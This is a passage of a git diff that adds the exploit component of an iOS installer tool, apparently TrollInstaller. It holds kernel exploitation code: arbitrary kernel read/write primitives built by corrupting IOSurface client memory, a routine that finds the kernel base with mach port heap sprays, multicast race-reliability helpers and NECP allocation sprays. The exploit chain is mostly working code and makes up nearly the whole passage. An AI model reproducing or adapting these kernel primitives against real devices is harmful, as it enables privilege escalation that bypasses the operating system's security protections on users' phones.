+ + printf("Done\n"); + + return 0; +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h new file mode 100644 index 0000000..b38c75b --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/exploit.h @@ -0,0 +1,9 @@ +#ifndef __EXPLOIT_H__ +#define __EXPLOIT_H__ + +#include + +int exploit_get_krw_and_kernel_base(uint64_t *kernel_base); +void exploitation_cleanup(void); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h b/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h new file mode 100644 index 0000000..6a0e15d --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/iokit.h @@ -0,0 +1,120 @@ +// Credits: Siguza +// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h +#ifndef IOKIT_H +#define IOKIT_H + +#include +#include +#include + +typedef char io_name_t[128]; +typedef char io_string_t[512]; +typedef char io_struct_inband_t[4096]; +typedef mach_port_t io_object_t; +typedef io_object_t io_registry_entry_t; +typedef io_object_t io_service_t; +typedef io_object_t io_connect_t; +typedef io_object_t io_iterator_t; + +enum +{ + kIOCFSerializeToBinary = 0x00000001U, +}; + +enum +{ + kIOClassNameOverrideNone = 0x00000001U, +}; + +enum +{ + kIOMapAnywhere = 0x00000001U, +}; + +enum +{ + kIORegistryIterateRecursively = 0x00000001U, + kIORegistryIterateParents = 0x00000002U, +}; + +enum +{ + kOSSerializeDictionary = 0x01000000U, + kOSSerializeArray = 0x02000000U, + kOSSerializeSet = 0x03000000U, + kOSSerializeNumber = 0x04000000U, + kOSSerializeSymbol = 0x08000000U, + kOSSerializeString = 0x09000000U, + kOSSerializeData = 0x0a000000U, + kOSSerializeBoolean = 0x0b000000U, + kOSSerializeObject = 0x0c000000U, + + kOSSerializeTypeMask = 0x7F000000U, + kOSSerializeDataMask = 0x00FFFFFFU, + + kOSSerializeEndCollection = 0x80000000U, + + kOSSerializeMagic = 0x000000d3U, +}; + +extern const mach_port_t kIOMasterPortDefault; + +CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); +CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); + +kern_return_t IOObjectRetain(io_object_t object); +kern_return_t IOObjectRelease(io_object_t object); +boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); +uint32_t IOObjectGetKernelRetainCount(io_object_t object); +kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); +kern_return_t _IOObjectGetClass(io_object_t object, uint64_t options, io_name_t name); +CFStringRef IOObjectCopyClass(io_object_t object); +CFStringRef _IOObjectCopyClass(io_object_t object, uint64_t options); +CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); +CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); + +io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); +io_registry_entry_t IORegistryEntryFromPath(mach_port_t master, const io_string_t path); +kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); +kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); +kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); +kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); +kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); +CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); +kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); + +kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); +kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); +kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); +kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); +io_object_t IOIteratorNext(io_iterator_t it); +boolean_t IOIteratorIsValid(io_iterator_t it); +void IOIteratorReset(io_iterator_t it); + +CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; +CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; +io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); +kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); +kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); +kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); +kern_return_t IOServiceGetBusyStateAndTime(io_service_t service, uint64_t *state, uint32_t *busyState, uint64_t *busyTime); +kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); +kern_return_t IOServiceClose(io_connect_t client); +kern_return_t IOCloseConnection(io_connect_t client); +kern_return_t IOConnectAddRef(io_connect_t client); +kern_return_t IOConnectRelease(io_connect_t client); +kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); +kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); +kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); +kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); +kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); +kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); +kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); +kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); +kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); +kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c new file mode 100644 index 0000000..cd6d46c --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.c @@ -0,0 +1,64 @@ +#include "kernel_base.h" + +#include "kernel_rw.h" +#include "port_utils.h" +#include "spray.h" +#include "xpaci.h" // ptrauth.h replacement + +#include +#include +#include +#include + +uint64_t g_self_proc = 0; + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall + +uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr) +{ + uint64_t kernel_base = 0; + const int receive_size = 0x10000; // Doesn't really matter + const int data_kalloc_size = 0x50; // Doesn't really matter + uint8_t *buf = calloc(1, receive_size); + mach_port_t fileport = MACH_PORT_NULL; + + // read out port pointer + uint64_t port_addr = kread64(holder_addr + 8); + + + + // init fileport + int sock = socket(AF_INET, SOCK_DGRAM, 0); + syscall(SYS_fileport_makeport, sock, &fileport); + + // send new message contaning port + port_receive_msg(holder, buf, receive_size); + spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder); + + // read kernel text pointer fops + uint64_t kmsg = kread64(port_addr + 0x30); + uint64_t ikm_header = xpaci(kread64(kmsg + 0x18)); + uint64_t oolp_array = kread64(ikm_header + 0x24); + uint64_t oolp = kread64(oolp_array); + uint64_t kobject = xpaci(kread64(oolp + 0x58)); + uint64_t fops = kread64(kobject + 0x28); + + uint64_t x68 = xpaci(kread64(kmsg + 0x68)); + uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50)); + uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30)); + g_self_proc = xpaci(kread64(self_task + 0x3c8)); + + // find kernel base + uint64_t pos = (fops & ~0x3FFF); + do + { + pos -= 0x4000; + } while (kread32(pos) != 0xFEEDFACF); + kernel_base = pos; + + // cleanup + close(sock); + port_deallocate_n(&fileport, 1); + + return kernel_base; +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h new file mode 100644 index 0000000..6f50847 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_base.h @@ -0,0 +1,9 @@ +#ifndef __KERNEL_BASE_H__ +#define __KERNEL_BASE_H__ + +#include +#include + +uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c new file mode 100644 index 0000000..1f811e9 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.c @@ -0,0 +1,75 @@ +#include "kernel_rw.h" + +#include "IOSurfaceRoot.h" + +static io_connect_t _uc; +static uint32_t _surf_id; +static int _read_pipe; +static int _write_pipe; +static uint64_t _mapped_address; + +void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n) +{ + memset(buf, 0x07, n); + + *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane + *(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added) + + _mapped_address = kaddr; +} + +int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe) +{ + _uc = uc; + _surf_id = surf_id; + _read_pipe = read_pipe; + _write_pipe = write_pipe; + + return 0; +} + +uint32_t kread32(uint64_t kaddr) +{ + uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; + + read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + *(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added) + + write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id); +} + +uint64_t kread64(uint64_t kaddr) +{ + uint8_t b[8]; + + *(uint32_t *)b = kread32(kaddr); + *(uint32_t *)(b + 4) = kread32(kaddr + 4); + + return *(uint64_t *)b; +} + +void kwrite32(uint64_t kaddr, uint32_t val) +{ + uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY]; + + read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + *(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface + *(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane + *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added) + + write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1); + + IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val); +} + +void kwrite64(uint64_t kaddr, uint64_t val) +{ + kwrite32(kaddr, (uint32_t)val); + kwrite32(kaddr + 4, (uint32_t)(val >> 32)); +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h new file mode 100644 index 0000000..36da64a --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/kernel_rw.h @@ -0,0 +1,18 @@ +#ifndef __KERNEL_RW_H__ +#define __KERNEL_RW_H__ + +#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000 + +#include "iokit.h" + +void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n); +int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe); + +uint32_t kread32(uint64_t kaddr); +uint64_t kread64(uint64_t kaddr); + +void kwrite32(uint64_t kaddr, uint32_t val); +void kwrite64(uint64_t kaddr, uint64_t val); + +#endif + diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c new file mode 100644 index 0000000..2357f09 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.c @@ -0,0 +1,55 @@ +#include "mcast.h" + +#include +#include +#include +#include + +int mcast_race_sock; + +int mcast_join_group(int ip) +{ + struct group_req mreq = { 0 }; + struct sockaddr_in6 sin6 = {0}; + + mreq.gr_interface = 1; + + sin6.sin6_len = sizeof(sin6); + sin6.sin6_family = AF_INET6; + sin6.sin6_port = 7878; + sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip; + sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); + + memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); + + mreq.gr_interface = 1; + + return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); +} + +void mcast_increase_race_reliability(void) +{ + struct group_req mreq = { 0 }; + struct sockaddr_in6 sin6 = {0}; + int s = socket(AF_INET6, SOCK_DGRAM, 0); + + mreq.gr_interface = 1; + + sin6.sin6_len = sizeof(sin6); + sin6.sin6_family = AF_INET6; + sin6.sin6_port = 7878; + sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0; + sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000)); + + memcpy(&mreq.gr_group, &sin6, sizeof(sin6)); + + for (int i = 0; i < 3000; ++i) + { + ((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000); + setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq)); + } +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h new file mode 100644 index 0000000..b87e837 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/mcast.h @@ -0,0 +1,9 @@ +#ifndef __MCAST_H__ +#define __MCAST_H__ + +extern int mcast_race_sock; + +void mcast_increase_race_reliability(void); +int mcast_join_group(int ip); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/necp.c b/Installer/TrollInstaller/TrollInstaller/exploit/necp.c new file mode 100644 index 0000000..233b922 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/necp.c @@ -0,0 +1,16 @@ +#include "necp.h" + +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + +int necp_open(int flags) +{ + return syscall(SYS_necp_open, flags); +} + +int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size) +{ + return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size); +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/necp.h b/Installer/TrollInstaller/TrollInstaller/exploit/necp.h new file mode 100644 index 0000000..b407756 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/necp.h @@ -0,0 +1,10 @@ +#ifndef __NECP_H__ +#define __NECP_H__ + +#include +#include + +int necp_open(int flags); +int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c new file mode 100644 index 0000000..570899a --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.c @@ -0,0 +1,116 @@ +#include "port_utils.h" + +#include +#include + +#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy + +mach_port_t port_new(void) +{ + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_port_t port; + + mach_port_construct(mach_task_self(), &options, 0, &port); + + return port; +} + +void port_destroy(mach_port_t p) +{ + mach_port_destroy(mach_task_self(), p); +} + +void port_deallocate(mach_port_t p) +{ + mach_port_deallocate(mach_task_self(), p); +} + +void port_destroy_n(mach_port_t *p, unsigned int count) +{ + for (int i = 0; i < count; ++i) + { + mach_port_destroy(mach_task_self(), p[i]); + p[i] = 0; + } +} + +void port_deallocate_n(mach_port_t *p, unsigned int count) +{ + for (int i = 0; i < count; ++i) + { + mach_port_deallocate(mach_task_self(), p[i]); + } +} + +int port_has_msg(mach_port_t p) +{ + mach_msg_header_t msg = { 0 }; + + mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0); + + return msg.msgh_size; +} + +int port_peek_trailer_size(mach_port_t p) +{ + mach_port_seqno_t msg_seqno = 0; + mach_msg_size_t msg_size = 0; + mach_msg_id_t msg_id = 0; + mach_msg_trailer_t msg_trailer; + mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); + + mach_port_peek(mach_task_self(), + p, + MACH_RCV_TRAILER_NULL, + &msg_seqno, + &msg_size, + &msg_id, + (mach_msg_trailer_info_t)&msg_trailer, + &msg_trailer_size); + + return msg_trailer.msgh_trailer_size; +} + +void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n) +{ + mach_msg((mach_msg_header_t *)buf, + MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, + 0, + n, + p, + 0, + 0); +} + +void port_receive_msg_n(mach_port_t *p, unsigned int count) +{ + uint8_t buf[0x1000]; + + for (int i = 0; i < count; ++i) + { + port_receive_msg(p[i], buf, 8); + } +} + +void port_receive_msg_all_n(mach_port_t *p, unsigned int count) +{ + uint8_t buf[0x1000]; + + for (int i = 0; i < count; ++i) + { + do + { + port_receive_msg(p[i], buf, 8); + } while (port_has_msg(p[i])); + } +} + +void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count) +{ + port_receive_msg_n(p, count); + port_deallocate_n(p, count); + for (int i = 0; i < count; ++i) + { + p[i] = MACH_PORT_NULL; + } +} diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h new file mode 100644 index 0000000..0740779 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/port_utils.h @@ -0,0 +1,22 @@ +#ifndef __PORT_UTILS_H__ +#define __PORT_UTILS_H__ + +#include + +mach_port_t port_new(void); + +void port_destroy(mach_port_t p); +void port_deallocate(mach_port_t p); + +void port_destroy_n(mach_port_t *p, unsigned int count); +void port_deallocate_n(mach_port_t *p, unsigned int count); + +int port_has_msg(mach_port_t p); +int port_peek_trailer_size(mach_port_t p); + +void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size); +void port_receive_msg_n(mach_port_t *p, unsigned int count); + +void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count); + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/spray.c b/Installer/TrollInstaller/TrollInstaller/exploit/spray.c new file mode 100644 index 0000000..a464562 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/spray.c @@ -0,0 +1,214 @@ +#include "spray.h" + +#include "necp.h" + +#include +#include + +mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count) +{ + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + msg->msgh_id = i; + mach_msg_send(msg); + } + + return ports; +} + +mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size) +{ + mach_port_t port = MACH_PORT_NULL; + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + mach_port_construct(mach_task_self(), &options, 0, &port); + + msg->msgh_remote_port = port; + mach_msg_send(msg); + + return port; +} + +void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports) +{ + mach_msg_header_t *msg = (mach_msg_header_t *)data; + + memset(msg, 0, sizeof(mach_msg_header_t)); + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + //memcpy(msg + 1, data, size-sizeof(*msg)); + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + msg->msgh_id = i; + mach_msg_send(msg); + } +} + + +mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count) +{ + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size); + + msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->msgh_size = size; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + + for (unsigned int i = 0; i < count; ++i) + { + msg->msgh_remote_port = ports[i]; + mach_msg_send(msg); + } + + free(msg); + + return ports; +} + +mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports) +{ + return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50); +} + +mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size) +{ + struct default_msg + { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_ports_descriptor_t desc; + }; + + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); + + msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->hdr.msgh_size = data_kalloc_size; + msg->body.msgh_descriptor_count = 1; + + msg->desc.deallocate = 0; + msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + msg->desc.copy = MACH_MSG_VIRTUAL_COPY; + msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; + msg->desc.count = size/8; + msg->desc.address = (void *)ool_ports; + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, 0, &ports[i]); + } + + for (unsigned int i = 0; i < count; ++i) + { + msg->hdr.msgh_remote_port = ports[i]; + kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); + if (kr) { + *(int *)1 = 0; + } + } + + free(msg); + + return ports; +} + +void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p) +{ + spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p); +} + +void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p) +{ + struct default_msg + { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_ool_ports_descriptor_t desc; + }; + + struct default_msg *msg = (struct default_msg *)calloc(1, 0x100); + + msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; + msg->hdr.msgh_size = data_kalloc_size; + msg->body.msgh_descriptor_count = 1; + + msg->desc.deallocate = 0; + msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + msg->desc.copy = MACH_MSG_VIRTUAL_COPY; + msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND; + msg->desc.count = size/8; + msg->desc.address = (void *)ool_ports; + + msg->hdr.msgh_remote_port = p; + kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg); + if (kr) { + *(int *)1 = 0; + } + + free(msg); +} + + +kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size) +{ + mach_msg_base_t *msg = data; + msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); + msg->header.msgh_remote_port = port; + msg->header.msgh_size = (mach_msg_size_t)size; + + return mach_msg_send(&msg->header); +} + +mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context) +{ + mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT }; + mach_port_t *ports = calloc(sizeof(mach_port_t), count); + + for (unsigned int i = 0; i < count; ++i) + { + mach_port_construct(mach_task_self(), &options, context, &ports[i]); + } + + return ports; +} + +mach_port_t *spray_ports(unsigned int count) +{ + return spray_ports_with_context(count, 0); +} + +int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz) +{ + uint8_t if_id[0x10]; + return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz); +} + diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/spray.h b/Installer/TrollInstaller/TrollInstaller/exploit/spray.h new file mode 100644 index 0000000..c7724cf --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/spray.h @@ -0,0 +1,23 @@ +#ifndef __SPRAY_H__ +#define __SPRAY_H__ + +#include +#include + +mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size); +mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count); +void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports); +mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports); +mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size); + +void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p); +void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p); +int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz); + +kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size); + +mach_port_t *spray_ports(unsigned int count); +mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context); + + +#endif diff --git a/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h b/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h new file mode 100644 index 0000000..db896db --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/exploit/xpaci.h @@ -0,0 +1,18 @@ +// ptrauth.h replacement + +static uint64_t __attribute((naked)) __xpaci(uint64_t a) +{ + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} + +static uint64_t xpaci(uint64_t a) +{ + // If a looks like a non-pac'd pointer just return it + if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) + { + return a; + } + + return __xpaci(a); +} diff --git a/Installer/TrollInstaller/TrollInstaller/headers/archive.h b/Installer/TrollInstaller/TrollInstaller/headers/archive.h new file mode 100644 index 0000000..75629a8 --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/headers/archive.h @@ -0,0 +1,1210 @@ +/*- + * Copyright (c) 2003-2010 Tim Kientzle + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary 